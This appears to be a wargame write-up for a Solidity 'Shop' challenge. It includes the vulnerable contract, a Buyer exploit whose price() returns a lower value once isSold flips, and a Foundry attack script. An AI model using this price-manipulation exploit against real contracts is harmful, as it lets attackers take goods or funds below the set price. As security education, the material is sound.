Shop
Shop
Vulnerable contract
Shop.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
The problem is here that the price get’s fetched the first time. Here it needs to be greater or equal to the price and it must not be sold.
After this the boolean isSold gets set to true.
price = _buyer.price();
Now it fetches the price again, here we need to update the price so it will be updated to less then 100.
Exploit
We can use an if
statement in our price()
function that will give another price when isSold()
is set to true.
Buyer.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IShop {
function buy() external;
function isSold() external view returns (bool);
}
contract Buyer {
IShop target;
constructor(address _shop) payable {
target = IShop(_shop);
}
function price() public view returns (uint) {
**if (target.isSold()) { //Check if it's sold yes > return 99
return 99;
}
return 100; //!isSold() return 100**
}
function buy() public {
target.buy();
}
}
What happens here it first fetches the price, but in the first case it isn’t sold yet. After this the boolean get’s updated to true
→ now it fetches the price again, but now isSold()
is set to true
. So now our view function will return 99
in this case (can be anything < 100).
AttackScript.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Buyer} from "../src/Buyer.sol";
import {Shop} from "../src/Shop.sol";
import {Script} from "forge-std/Script.sol";
contract AttackScript is Script {
function run() public {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployerPrivateKey);
Buyer attacker = new Buyer(0x22E926d8a365706cA62F70CB0f9af8E92bfE022D);
attacker.buy();
}
}